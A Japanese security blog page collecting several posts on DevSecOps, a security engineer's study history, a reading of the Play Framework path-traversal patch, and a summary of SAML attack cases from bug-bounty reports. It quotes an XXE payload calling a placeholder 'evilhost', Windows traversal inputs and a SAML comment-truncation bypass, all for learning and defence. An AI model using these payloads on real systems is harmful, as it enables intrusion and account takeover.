ぶるーたるごぶりん

UI, UX, セキュリティとか😘

DevOpsと（セキュリティ系）静的コード解析 (+DAST)が相性が悪いのはなぜか

※ 2020/5/22 一部加筆

SASTとIterativeな開発の相性の悪さ

若干煽り気味なタイトルですが、チーム内で話していてなぜセキュリティ静的コード解析（Static Application Security Testing: SAST）と言ったセキュリティアプローチがDevOpsで回りにくいのかが言語化できた。

そもそも静的コード解析というアプローチによるセキュリティ担保は基本的に「教科書的なウォーターフォール型」において有効で、 理由としては「人月・工数」のみで考えられた「誰でもその作業ができ、セキュリティの知識がなくても良い」みたいな作業者の能力を考慮しないアプローチが基本だからである。 そう言ったアプローチだと「SASTのアラート全部直してくれな！そしたらセキュアだから！」という形に落とし込むことにより、 問題をある程度封じ込めれると。 ただ、これをDevOps、というよりイテレーティブな開発（Scrum, Agile 系統）に落とし込むと、日々の開発のたびに発生するLintといったアラート地獄と向き合うこととなり、 その結果エンジニアがサボったり（ちょっと悪意のある言い方）して回らなくなる。 そもそも最初の導入で大量のエラーが出てげんなりしてやらないと思う。

続きを読む

WebアプリケーションにおけるDevSecOpsの理想と現実 Part 1 〜Bot型攻撃から見たパッチ管理について〜

Security DevSecOps パッチ

はじめに

本記事では、前回の記事（https://brutalgoblin.hatenablog.jp/entry/2020/02/15/153805）にてあまり触れられなかったWebアプリケーションにおけるDevSecOpsの所感や考え方、動向を個人的思想でまとめた記事になります。

本記事は個人の感想が多分に含まれているため、どこかしらで（何かしらに）寄った意見や 知識不足から来る誤った解釈などが含まれているかもしれません。 もし本記事で誤った箇所や違ったポリシー、事業のフェーズによって違う考え方を持たれている方がいらっしゃいましたら、是非コメントやリプライなどで意見をください。 というか、私自身が迷っている部分も多くあるため、そういった知見を頂けるのであればこの記事を書いた甲斐があるというものなので、是非是非フィードバックを・・・！

本記事は章組をした段階であまりにもデカくになってしまいましたので、記事を分割して公開します。 記事の構成としては大まかに 「何から守るか（攻撃）」「どのように守るか（手段）」「手段には何があるか」「理想と現実」 という流れに沿って話を進めていこうと思いますが、書き終わった内容を順番に投稿していくのでこの流れから大きく脱線するかもしれません。

ちなみに本記事の根底にある考え方は、以下の資料あたりをかなり参考にしています。（パッと思いついたのが以下の資料なので他にも色々ある気がします。）

https://speakerdeck.com/rtechkouhou/cui-ruo-xing-guan-li-falsebesutopurakuteisutosuretutomonitaringu
https://speakerdeck.com/rtechkouhou/e-yi-toshan-yi-gajiao-chai-suru-nei-bu-bu-zheng-toiuming-falsesasupensu
https://medium.com/@NetflixTechBlog/scaling-appsec-at-netflix-6a13d7ab6043

続きを読む

セキュリティエンジニアになり、そこから2年間分の勉強内容と参考になった資料とか

セキュリティエンジニアになり、そこから2年間分の勉強内容と参考になった資料とか

自分の振り返りも兼ねて2年分の勉強内容とかをざっくりまとめようと思います。

新卒からバックエンド開発を2年程行い、その後セキュリティエンジニアとして横断セキュリティ部門に異動しました。 そこから更に2年が経ち、来月からセキュリティサービスの開発とかをすることになったので、 もし同じような人が居た際になんとなし参考になればいいかなという意図で書いてます。

ちなみにセキュリティ部門に異動するまでのセキュリティの知識レベルは「徳丸本を2回通しで読んでる」程度です。 セキュリティ部門に移ってからは脆弱性診断・ログ監視・開発ガイドライン周り・脆弱性管理とかをやってました。

本記事では自分自身がユーザ系の企業に属しているので、ベンダーとかそちら寄りの内容ではないです。 あとできる限り社内の事情を記載しません。何が問題になるかわからないですしあんまり重要じゃないので。

内容的には次の単語辺りがスコープです。 脆弱性診断, セキュアコーディング, ログ監視, インシデント対応

入って3ヶ月間くらい

入ってしばらくは診断の研修を受けたりしてました。 この頃はBurp Suiteの使い方とか学んでた気がします。 もともと開発をやってたのと基本的な脆弱性とかの問題は理解していたのでツールの使い方とか注意事項などを覚えるのを中心にしてた気がします。

この頃はとある診断員さんのスライドとかを軽く見ながらやられサイトとかを触ってました。
https://www.slideshare.net/zaki4649

今ならやられサイトは OWASP Juice shop とかを使った方がいい気がしますが、 診断対象がレガシーな傾向にあるなら OWASP Webgoat とかを利用した方が良い気がします。
https://www.slideshare.net/zaki4649/ss-116423487
https://owasp.org/www-project-webgoat/

自分が全くの未経験だった場合なら 徳丸本（体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践） あたりを一周して Webセキュリティ担当者のための脆弱性診断スタートガイド 第2版 上野宣が教える新しい情報漏えいを防ぐ技術 を読むのが今なら最適解な気がします。

また、この頃からログ監視（社内ネットワーク監視）とかも仕事として入ったりしてました。 何もわからなかった気がするので、診断だけでも早くまともになろうとしてた気がします。

3ヶ月 - 6ヶ月

診断を早く一人前にならなければと思い、徳丸さんのブログとバグハンターのmasato.kinugawaさんのブログのバックナンバーを古いのから順に全部読んでました。

https://masatokinugawa.l0.cm/
https://blog.tokumaru.org/
http://www.tokumaru.org/d/

あとXSSチートシートとかを見たりしてどういうペイロードが何に影響するのかとか調べてた気がします。 今なら PayloadsAllTheThings という攻撃コードだけをまとめたリポジトリをまず見ろと自分に教えます。
https://github.com/swisskyrepo/PayloadsAllTheThings

脆弱性診断士スキルマッププロジェクトのWebアプリケーション脆弱性診断ガイドライン あたりもずっと眺めてた気がします。
https://github.com/ueno1000/WebAppPentestGuidelines/blob/master/WebAppPentestGuidelines.pdf

この頃からバグバウンティとCVEを取ることに憧れを抱き始めました。 当時の自分にアドバイスをするなら、「さっさとCVE童貞は捨てて憧れとかプライド・卑屈さを無くし、真面目に勉強した方が良い」と言います。
（CVEは取ろうと思えば簡単なものなら1日で取れると思うのでそんなにありがたがるものではないという意図です。もちろん強い(?)CVEもありますが）

CVEを取ろうとされている方はリクルートさんのRedTeamの発表で非常に参考になると思います。
RECRUIT RED TEAMのセキュリティトレーニング：OSSへの貢献とCVE IDの取得
https://recruit-tech.co.jp/blog/2018/09/25/redteam_training/
こちらに書いてあるように、ひたすらgit pull & 30分ほどコードを読んでを繰り返しまくるやつをやるといい気がします。

それと6ヶ月頃から運よくCISSPの研修を受けさせてもらったのでCISSPを取る気持ちで勉強してました。 （実務の経験年数が足りないので受かっても準会員となってしまいますが。ちなみに点数が１割くらい足らなくて落ちました。） 多分この書籍？をもらい、土日に４時間ずつ勉強するのを1年程続けてました。
新版 CISSP CBK公式ガイドブック
https://www.amazon.co.jp/%E6%96%B0%E7%89%88-CISSP-CBK%E5%85%AC%E5%BC%8F%E3%82%AC%E3%82%A4%E3%83%89%E3%83%96%E3%83%83%E3%82%AF-%E3%82%A2%E3%83%80%E3%83%A0%E3%83%BB%E3%82%B4%E3%83%BC%E3%83%89%E3%83%B3/dp/475710376X/ref=sr_1_1?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&keywords=CISSP+%E6%97%A5%E6%9C%AC%E8%AA%9E&qid=1581733898&sr=8-1

このわからないなりにCISSP勉強したことが、この２年間の中で最もよかった勉強内容でした。 基本的なユーザ企業に置けるセキュリティの考慮事項・ビジネスとセキュリティの関係・ 実際の運用を考慮した体系的セキュリティのエッセンスがCISSPに詰まってると思います。 これひとつ学ぶだけで、「ユーザ企業における」セキュリティ運用立て付けで、それなりな判断をできるようにると思います。 なので、個人的にはユーザ企業に勤めているセキュリティエンジニアほどCISSPをお勧めします。 まあCISSP落ちたんですが。
体系的な知識だけであればセキュリティスペシャリストとかでもいいんだろうと思います。 ただCISSPの方が「ユーザ企業に求められる」ビジネスとセキュリティについて 現実的な知識が入ってくるきがするのでお金があるならそちらをお勧めします。 ちょっとオーバースペック感はありますが・・・。

それとこの時期は気が向いた時とかにOWASPで面白そうなプロジェクトがないかとか見てた気がしますが、 そんなに熱心には見てなかったですが。 OWASP Top 10よりも面白い内容がいっぱいあるので適当に眺めてみると良いかもしれません。
https://owasp.org/projects/

7ヶ月 - 12ヶ月

この頃は海外カンファレンスの資料を読み漁ってました。 2016以降に開かれたBlackhat, hitcon, ロシアのセキュリティカンファレンス（名前を忘れた）の発表スライドのなかで Webに関係あるものをひたすら落としてきて読んでました。

例えばBlackhatの場合、発表一覧の中で関連項目の絞り込みができるので、 Web AppSec, Security Development Lifecycle あたりで絞り込みを行い、 そこから気になる発表を見つたら、 発表名 + slide とかでググってスライドを見てました。 https://www.blackhat.com/us-19/briefings/schedule/

それと6-12ヶ月目までは徳丸さんのブログなども含めて仕事後１時間くらい（例のカンファレンスの資料含めて）ブログとかを読み、 そのあと帰る生活をしてました。 多分この辺りで徳丸さんとmasato.kinugawaさんのブログのバックナンバーは全部見終わった気がします。 めっちゃよかったです。

それと引き続きCISSPを取る気で勉強してました。 ただ気持ちは「俺はセキュリティを何も知らなすぎるので一般教養として勉強する」くらいの心持ちだったので 割と穏やかマイペースな感じで勉強してました。

実務ではこの辺りからログ監視・インシデントレスポンスっぽいことが少しだけ理解し始め、そちらに対する興味も増してきました。 とはいえまだまだピヨピヨ状態だったので今だったらここら辺から適当に選んで読んだり手を動かしたらよかったのかなと思います。
Awesome-Cybersecurity-Blueteam
https://github.com/meitar/awesome-cybersecurity-blueteam

合わせてawesomeシリーズにはめっちゃお世話になってる気がするので適当に摘んで見に行ったのも良かったです。
Awesome-Red-Teaming
https://github.com/yeyintminthuhtut/Awesome-Red-Teaming

Awesomeシリーズは結構色々あるのでその分野の知識があまりない段階で最初の方に見にいくといいと思いました。 多分そうすることで全体感というか、ロードマップみたいなものが見えてくる気がします。 https://github.com/sindresorhus/awesome#readme

それと実務関連でユーザ企業における脆弱性管理に関して、この資料が本当に素晴らしいと思って5,6回くらい読み直して参考にしてました。
脆弱性管理のベストプラクティスとスレットモニタリング
https://speakerdeck.com/rtechkouhou/cui-ruo-xing-guan-li-falsebesutopurakuteisutosuretutomonitaringu 上記の資料にも影響され、このあたりからCVEに全部目を通すようになりました。 某L社のエンジニアの方が「タイトルには最低限全部目を通してる」と書いてたので 「なるほど、普通は読むのね」と誤解(?)して読み始めました。

確かこの辺りで技術書典5でセキュリティテストの話書いてました。 https://techbookfest.org/event/tbf05/circle/25700002

1年 - 1年半

この頃はそろそろCVEを取ってこのコンプレックスにも似た感情をどうにかしようと思ってました。 なのでカッチョいいCVEを取るためにWebフレームワークの脆弱性を見つけようと思いはじめ、 まずは事例を知ることからということで 1つのフレームワークの脆弱性パッチコードをずっと読んで内容を理解するというのを続けてました。

脆弱性を見つけられなくても技術書典と何かのカンファレンスで発表できればと思ってたので無駄にはならないだろうと。 結果これを書いて出しました＆発表しました。
https://techbookfest.org/event/tbf06/circle/36030002 (コードで理解するWebフレームワークの脆弱性 Playframework編 の方)
https://speakerdeck.com/kumagoro_alice/kototeli-jie-suruplayframeworkfalsecui-ruo-xing
知らないうちにカンファレンスの方は動画が上がってたので気になる方は検索すれば出てくると思います。

上記の発表をしたことでパッチコードを読むのが趣味になり、 今でも気になるCVEが発行された場合はパッチコード探して読むことを続けてます。

このタイミングでCISSP落ちました。

あとセキュアコーディングガイドライン関連の仕事があったので政府刊行物をちょろちょろ読んだりしてました。 PCIDSS, NIST 800シリーズあたりはセキュアコーディングから外れる部分も結構ありますが大変参考になりました。
（言うほど量を読んでないですが・・・）
https://ja.pcisecuritystandards.org/minisite/env2/
https://www.ipa.go.jp/security/publications/nist/

NISTは結構有志のかたが日本語化してたりするので助かりました。

1年半 - 2年

この頃からログ監視の仕事の比重が重くなったので四苦八苦してました。
インプットとしてはあまりうまく行ってなかった気がします。 この頃はインシデントレスポンスみたいな部分に自分の課題を感じてたので 今ならこの辺りを真っ先に読むのがよかったのかなと思います。
atomic-red-team
https://github.com/redcanaryco/atomic-red-team
Macにおける攻撃とかの話ってあんまり効かないので、こう言う例となるものって（実際あるかは置いておいて） 参考程度には良い気がします。

CSIRT:構築から運用まで
https://www.amazon.co.jp/CSIRT-%E6%A7%8B%E7%AF%89%E3%81%8B%E3%82%89%E9%81%8B%E7%94%A8%E3%81%BE%E3%81%A7-%E6%97%A5%E6%9C%AC%E3%82%B7%E3%83%BC%E3%82%B5%E3%83%BC%E3%83%88%E5%8D%94%E8%AD%B0%E4%BC%9A/dp/4757103697/ref=pd_sbs_14_img_0/358-0194960-2457850?_encoding=UTF8&pd_rd_i=4757103697&pd_rd_r=201243b6-8ef8-4cda-80b2-8e27f6da32c3&pd_rd_w=Rq3dO&pd_rd_wg=Z4EIP&pf_rd_p=ca22fd73-0f1e-4b39-9917-c84a20b3f3a8&pf_rd_r=J65PXP3C9WBKPR66GP5D&psc=1&refRID=J65PXP3C9WBKPR66GP5D
値段が高くて薄い＆文字が大きめでしたがこれも良い書籍でした。 さらっと流すなら２日もあれば読める量です。 ただ中に書いてあるんですが、ユーザ企業向けのCSIRTではないです。

まだ読んでないですがお勧めされてるので読みたい。すごい分厚いからやる気でないですが・・・。
インシデントレスポンス 第3版
https://www.amazon.co.jp/%E3%82%A4%E3%83%B3%E3%82%B7%E3%83%87%E3%83%B3%E3%83%88%E3%83%AC%E3%82%B9%E3%83%9D%E3%83%B3%E3%82%B9-%E7%AC%AC3%E7%89%88-Jason-T-Luttgens/dp/4822279871

どこに載せるか迷ったけどよかった本や記事とか

パケットキャプチャの教科書
https://www.amazon.co.jp/gp/product/4797390719/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&psc=1
すごくわかりやすくて良かったです。 ちなみにミスってKindle版と書籍の２冊買っちゃいました。

ブラウザハック
https://www.amazon.co.jp/gp/product/B01DIV9AHQ/ref=ppx_yo_dt_b_d_asin_title_o03?ie=UTF8&psc=1
とても良いんですが、一般的なユーザ企業で求められるセキュリティからは大きく外れてはいる

サイバーセキュリティ レッドチーム実践ガイド
https://www.amazon.co.jp/%E3%82%B5%E3%82%A4%E3%83%90%E3%83%BC%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3-%E3%83%AC%E3%83%83%E3%83%89%E3%83%81%E3%83%BC%E3%83%A0%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-Peter-Kim/dp/4839967571/ref=pd_bxgy_img_3/358-0194960-2457850?_encoding=UTF8&pd_rd_i=4839967571&pd_rd_r=04acdeac-2ebc-4868-84a4-dec0c6b33738&pd_rd_w=1KRzh&pd_rd_wg=gW6NF&pf_rd_p=587b16be-0f5e-4017-ba4e-8771a0be2909&pf_rd_r=379STDP2QQQK79R8VJR4&psc=1&refRID=379STDP2QQQK79R8VJR4
めっちゃ良い

Find Security Bugs というOSSのセキュリティ静的コード解析ツールの脆弱性検出パターンドキュメント
https://find-sec-bugs.github.io/bugs_ja.htm
Java/Scalaベースなんですが、コードベースの診断をしたいとかであれば大変参考になるはず。

PortSwigger Blog
https://portswigger.net/blog
良い記事がめっちゃあるのでバックナンバーから気になるのを見るだけでも良い

Hackerone - Hacktivity
https://hackerone.com/hacktivity?sort_type=latest_disclosable_activity_at&filter=type%3Aall&page=1&range=forever
バグバウンティプラットフォームのHackeroneの公開されたレポートが読める

体系的に学ぶモダン Web セキュリティ
https://speakerdeck.com/lmt_swallow/learn-modern-web-security-systematically
モダンWebに関する登場人物がまとまっていて本当に体系的ですごく参考になる資料でした

ユーザー企業における情報システムとセキュリティ
https://speakerdeck.com/ken5scal/yuzaqi-ye-niokeruqing-bao-sisutemutosekiyuritei-number-seccamp2019
とてもとても参考になるメチャクチャ良い資料でした

PoC読むのと実際まで評価するやつ
CVEを読んでるときにTwitterとかで CVE番号 + PoC とかで調べると結構引っかかるんですが、 それの評価と実際に刺さるかをDocker環境作ったりして試すのも割と良かった気がします。単純に面白いですし。
※当たり前ですが、中にはマルウェアとかあるので気をつけてくださいね。

終わりと雑記

長くなりましたが、こんな感じで勉強をしてた気がします。（全文で１万字）
他にも素晴らしすぎる本や資料があったはずなんですが、パッと思い出せないので一旦このくらいにしておきます。

2年経った今はDevSecOpsについて考える機会が増え、 アジャイルやスクラムと言ったスタイルにいかにセキュリティを合わせていくか ということに破茶滅茶興味を持っているので、しばらくここに投資していこうとしてます。

DevSecOps自体はバズワードで、ベンダーが強く押し出してる部分があるので、 ベンダーに踊らされないようにしつつ、現実的なレベルで色々な会社がうまくセキュリティを担保できる世界がくるといいんだろうなーというのが 自分の感覚です。

Web界隈も大変わちゃわちゃしており、Webアプリセキュリティという観点で見ると 「ブラウザのセキュリティレベル」「フレームワークとかのデフォルトのセキュリティレベル」が共に上がっていっている現状があり、 実際に遭遇する攻撃・刺さる攻撃の質も変わってきてるように思えました。 そのため、開発者がリスクとする攻撃シナリオも変わっていき、防御も変わっていき・・・、 結果としてこれまでのDLC(Development Life Cycle)から少しずつDevSecOps的なDLCに移っていくだろうという推測です。 現時点ですでにこれまでのDLCでは守りきれないようになっているので、この考えは割と外れていないと思ってます。

なので、今後のDevSecOpsを考慮したDLCでは、 「開発者に対して安全な環境を提供し、ベストプラクティスに乗っ取った環境を提供し続ける」 「侵入を検知するために監視を行い、オートメーション化」 「脅威分析・素早い脆弱性管理（バグバウンティとかのトリアージ）」 とか、あとはゼロトラスト辺りがキーワードになってく気がしてます。

この辺りはNetflixのこの記事が結構含みを持った書き方をしており、参考になるかもです。
https://medium.com/@NetflixTechBlog/scaling-appsec-at-netflix-6a13d7ab6043
特に静的コード解析とかうまくいかなかったぜみたいなことを匂わせてたりした書き方で面白いです。

こういった資料がいっぱいあるおかげでこの２年なんとかなったので筆者の方々本当に感謝してます。

最後に勉強とは違って感銘を受けた言葉/記事を３つほど記載して終わります。

(翻訳)セキュリティで飯食いたい人向けの行動指針
https://ken5scal.hatenablog.com/entry/2017/07/19/%28%E7%BF%BB%E8%A8%B3%29%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%A7%E9%A3%AF%E9%A3%9F%E3%81%84%E3%81%9F%E3%81%84%E4%BA%BA%E5%90%91%E3%81%91%E3%81%AE%E5%BF%83%E3%81%AE%E6%8C%81

警告: 映画のような華々しさはない
完全もしくは標準的なカリキュラムなどない
手を動かせ。実践しろ。
コードを書け
コードを壊せ
知識を共有しろ
コミュニケーションを怠るな
辛いことも失敗もある
楽観者でいよう
助けを求めよう
Good luck and happy hacking!

徳丸氏のツイート
https://twitter.com/ockeghem/status/1224669744021659648

艦これAPIを叩く
https://np-complete.gitbook.io/c86-kancolle-api/
（この文章がなければセキュリティをやり始めなかった気がします。）

ありとあらゆる攻撃を考慮しないといけません。 ユーザの環境も様々です。 APIを提供する側はそれらを制限することなんてできません。 クライアントに正しいも間違っているもありません。 不正な攻撃であろうと全てのリクエストは平等に扱われてしまうことを忘れてはいけません。 とにかく想像力が必要です。 人間は全員犯罪者で、ありとあらゆる手段を使って攻撃をしてきます。 どんな攻撃ができそうか想像し続けましょう。 単純にシステム上のやりとりだけではありません。 ソーシャルハックもかなり有効な攻撃手段です。 (ハッカーに奪われた、5万ドルのTwitterアカウント「@N」:オーナーに返還 見事なソーシャルハック事例) 他のサービスの情報と組み合わせた攻撃も有効です。 本当に穴はないですか? XSSのように機械的に検出できるようなものではありません。 複雑なシステムの一つ一つは小さな穴でも、組み合わせたら大きな穴になることもあります。 本当に穴はないですか?

宣伝

技術書典8で「Firefoxの脆弱性レポートまとめ本」というのを出します。
https://techbookfest.org/event/tbf08/circle/5736916351713280

ScalaMatsuri 2019にてWebフレームワークの脆弱性(Playframework)を読むという内容を発表しました。

発表しました。（すっかり書くのを忘れていました。）

Webフレームワークの脆弱性パッチを読み、何が起きたのかをまとめたというやつです。

speakerdeck.com

Webフレームワークの脆弱性対策コードを読む (Playframework part1)

Playframework Scala Security PathTraversal

追記

2019/09/04現在、報告されているPlayframeworkの脆弱性の全て (ver2系のみ)まとめました。 http://brutalgoblin.hatenablog.jp/entry/2019/08/20/133641

はじめに

フレームワークの脆弱性対策コードを普段読まれる方は割と少ないと思うので自分も勉強がでら読みながら問題となった事象、対策のコードではどうなっているかといった事をまとめてみます。

※注意 脆弱性の対策コードを読む中で、中にはクリティカルな脆弱性かつ、PoCも公開されていないものにも関わらず、 調査中PoCが思いついてしまうかもしれません。
ただ、そういった場合は若干濁した書き方をするかもしれませんがご了承ください。

また、筆者の知識不足で誤った書き方をするかもしれませんが、その際はガンガン指摘を頂けますと嬉しいです。

Playframework Part1

初回はPlayframeworkの脆弱性について調べていきます。
（しばらくはPlayframeworkの脆弱性のみまとめていきます。） 今回はScalaの主要WebフレームワークであるPlayframeworkの脆弱性対策コードを読んでいきます。

Playframeworkのセキュリティアップデートは以下のURLにまとまっています。

Play Security Vulnerabilities

CVE-2018-13864 (Path Traversal)

こちらが今回の対象脆弱性です。 https://www.playframework.com/security/vulnerability/CVE-2018-13864-PathTraversal

CVSS: 6.7
影響バージョン: Play 2.6.12-2.6.15

最初のターゲットはパストラバーサルです。
最近のWebアプリエンジニアであれば「パストラバーサルなんてそんな簡単に起こらないでしょw」と笑っている事が多いかもしれません。
ただ、フレームワークやNginxやTomcatといった物でも、結構な頻度でパストラバーサルの脆弱性やバグハンティングのレポートが上がっています。
実際、nginxであれば末尾の / が無かっただけでパストラバーサルが発生してしまったといったことが容易に起こります。

興味ある方はTomcatやNginxにおけるパストラバーサルの脆弱性について書かれている以下の資料を是非見てください。 台湾のバグハンター Orange TsaiさんのBlackHat発表資料です。メチャクチャ面白いです。 https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

さて、本題です。 今回の脆弱性 CVE-2018-13864 の概要を読みますと、
Playframework のAssets(静的ファイルなどのディレクトリ)用の Controllerにある、Windows限定のパストラバーサルの脆弱性になります。

早速コードを追ってみましょう。チェンジログは以下のURLです。
（チェンジログにはパストラバーサルの修正以外も若干入ってます。） https://github.com/playframework/playframework/compare/2.6.15...2.6.16/

まず、以下のファイルを見てみましょう。

framework/src/play/src/main/scala/play/api/controllers/Assets.scala

private def fileLikeCanonicalPath(path: String): String = {
       @tailrec
       def normalizePathSegments(accumulated: Seq[String], remaining: List[String]): Seq[String] = {
         remaining match {
           case Nil => // Return the accumulated result
             accumulated
           case "." :: rest => // Ignore '.' path segments
             normalizePathSegments(accumulated, rest)
           case ".." :: rest => // Remove last segment (if possible) when '..' is encountered
             val newAccumulated = if (accumulated.isEmpty) Seq("..") else accumulated.dropRight(1)
             normalizePathSegments(newAccumulated, rest)
           case segment :: rest => // Append new segment
            normalizePathSegments(accumulated :+ segment, rest)
        }
      }
      val splitPath: List[String] = path.split('/').toList // 修正前
      val splitPath: List[String] = path.split(filePathSeparators).toList　// 修正後
      val splitNormalized: Seq[String] = normalizePathSegments(Vector.empty, splitPath)
      splitNormalized.mkString("/")
    }

このファイルはAssetsファイル用のControllerClassで、おそらく今回の脆弱性の原因となったファイルだと思われます。

このファイルでは、URLのパスをsplitし、split結果をnormalizePathSegmentsという関数に渡すことで、再帰的にパスを整形するという動きをしています。
注目すべきところは、コメントアウトにて追加した、修正前、修正後と記載されている部分になります。

修正前は / というディレクトリの区切り文字によるsplitが行われていますが、
修正後は、 filePathSeparators という、区切り文字の配列が設定されています。
filePathSeparators 自体は以下になります。

framework/src/play/src/main/scala/play/api/controllers/Assets.scala

// Ideally, this should be only '/' (which is a valid separator in Windows) and File.separatorChar, but we
// need to keep '/', '\' and File.separatorChar so that we can test for Windows '\' separator when running
// the tests on Linux/macOS.
private val filePathSeparators = Array('/', '\\', File.separatorChar).distinct

コメントアウトや、 filePathSeparators の値を見て分かる通り、
パスの指定方法には / 以外にも、 \\, File.separatorChar の３つが指定されています。 つまり、この脆弱性で突かれたのは、Windows環境におけるファイルパスの扱い( \\, File.separatorChar )の考慮が漏れていたということになります。

File.separatorCharは以下のURLに書かれている内容のように、UNIX環境とWindows環境におけるパスの違いを考慮に入れた文字が入るようです ( /, \\ )。
https://docs.oracle.com/javase/jp/6/api/java/io/File.html#separatorChar

そのため、おそらく /../と言ったパターンは考慮されていたものの、 /..%5C%5C, /..\\ と言ったパターンの考慮が漏れていたということがわかります。

FWなどの複数環境で利用されることを考慮に入れた開発では開発環境毎の差を常に意識しなければならず、そういった環境でのセキュアコーディングの難しさがわかります。

おわりに

今回は比較的小さな修正と小さい(?)問題なので簡単に終わりました。 Part2では 20171005-CorsVaryHeader キャッシュポイズニングを発生してしまうような環境に一定の条件が重なるとなってしまうという問題の解消を行なった対応について書いてみようと思います。

https://www.playframework.com/security/vulnerability/20171005-CorsVaryHeader

SSO(SAML)の実装と攻撃例

Security SSO

はじめに

SAML関連で診断をすることになったが、やんわりとした知識しかないため、 SAMLの攻撃事例を読んでそれをざっくりまとめる。

認証フローなどはネットに軽い奴がまとまっているのでそれらを参考に読むと良いのかも？

※2018/11/22 事例を1つ追加 ( XMLのコメントアウトを利用した認証バイパス の章)

思いつく攻撃

  • XMLをアップロードするのでそこでXML外部エンティティ参照とかがあるのかも？
  • あとはアプリケーション自体がXMLファイルからidP(Identity provider、所謂認証サーバ？)へ認証リクエストを送るから そこを利用してSSRFなどのイントラネットへのリクエストが送れるかも？

上記２つはどちらかというと認証に対する攻撃とは別なので、認証部分の攻撃については 後述する事例で見ていく。

事例とざっくりまとめ

SAML + HackerOne とかでググって引っかかった奴をすごくざっくりまとめる。 英語力は低いので読み間違いしてる可能性があるので参考程度に。

SAML経由のXXE

hackerone.com

この報告ではSAMLで利用されるXMLを利用して XXL(XMLの外部エンティティ参照)の攻撃を行なっている。 予想した通り事例としてあった。 この報告ではPOSTのBody部分に以下の処理を行なったパラメータを送っている。 Raw XML => Base64 Encode => URL Encode

この処理部分では通常のSAMLで利用されるXMLに <!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]> と言った外部エンティティを参照するペイロードが仕込まれている。

SAMLの署名検証の不備による認証バイパス

Uber Bug Bounty: Gaining Access To An Internal Chat&nbsp;Systemmishresec.wordpress.com

この報告ではSAMLの実装で署名の検証が行われているかをまずチェックしている。 つまり、署名のないXMLを送信するという検証方法。

本来であればここでSAML発行者の確認のため「署名が含まれていないためSAMLアサーションが無効」となることが期待される。 ただ、この例では302の応答をしており、結果バイパスが可能であったという例

SSO の認証認可のバイパス

hackerone.com

/accounts/$account_id/sso/saml/finalize という、SSOの認証フローの最後に呼ばれる処理（アプリへのアクセス許可を出す部分）に対して SAML形式のカスタムPOSTを直接送ることで認証がバイパスできるという問題。 つまり、一連の認証認可フローをすっ飛ばしで最後の認証トークン払い出し部分を直接POSTしにいく感じ。

この問題はSAMLがX.509 (PKIの規格)を利用したidentity provider で構築されていないことによる問題 （と書いてあったがX.509周りが殆どと言っていいくらいわかっていないため内容をしっかり理解できていない。）

攻撃方法としては base64でエンコードしたアカウントIDとユーザメールをペイロードとした pocファイルをPost。

XMLのコメントアウトを利用した認証バイパス

※2018/11/22 に追記

Blackhatの資料 https://data.hackinn.com/ppt/BlackHat-USA-2018/us-18-Ludwig-Identity-Theft-Attacks-On-SSO-Systems.pdf

色々なSAML認証用ライブラリに、脆弱性が複数あったという話。 Aユーザ用のSAMLのXMLを書き換えることで、Bのユーザでログインできてしまうという問題があった（であってる？）。
SAMLのXML言語実装では <!----> といったコメントアウトは許可されているが、それを実装しているライブラリの中には、コメントアウトをtruncate するときの挙動が若干微妙だったりする物があり、そこを突いたという話。

例えば user-hogehoge@fugaa.com に user-hogehoge@fugaa.com<!---->truncated とやると、 コメントアウトから後の部分は無視される実装になっていたりすると言うもの。
これで、他人のXMLを利用してログインができてしまうといった攻撃に繋がる可能性があると言う話。

まとめ

やはり攻撃的にはXXEなどの話がちょくちょくあった。 一方で認証のバイパスなどはあまり知識を持っていなかったため学びが多いかった。

テストをする際は認証フローを順番に試す他に、 単体レベルで試していく・攻撃していくと良いと感じた。 また、認証周りはフローをしっかり理解し、その上で署名などの検証不備などをしっかりと チェックしていく重要性が感じられる。 そのためにも認証自体を仕様レベルである程度でも把握しているとバグバウンティなどでは 効いてきそうに感じた。

間違いなどがあればご指摘いただけると助かります。